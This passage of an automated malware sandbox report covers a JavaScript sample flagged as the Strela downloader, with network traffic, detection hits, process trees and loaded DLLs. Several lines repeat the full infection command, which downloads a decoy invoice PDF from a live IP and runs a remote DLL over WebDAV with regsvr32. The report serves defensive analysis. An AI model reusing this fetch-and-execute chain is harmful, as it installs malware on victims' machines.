2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:51273 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1734377965.00000214C3548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1798913312.00000181AE258000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799208470.00000181AE2AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1793515070.00000181AE2AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: net.exe, 00000006.00000003.1794477160.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1799133588.00000181AE28B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/x
Source: svchost.exe, 00000008.00000002.3019347493.00000158C3A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1799879419.00000158C3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2752019937704124971.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lp0roy1p.dus.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2752019937704124971.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1756,i,17359756151058756556,4854113092615929534,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1756,i,17359756151058756556,4854113092615929534,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
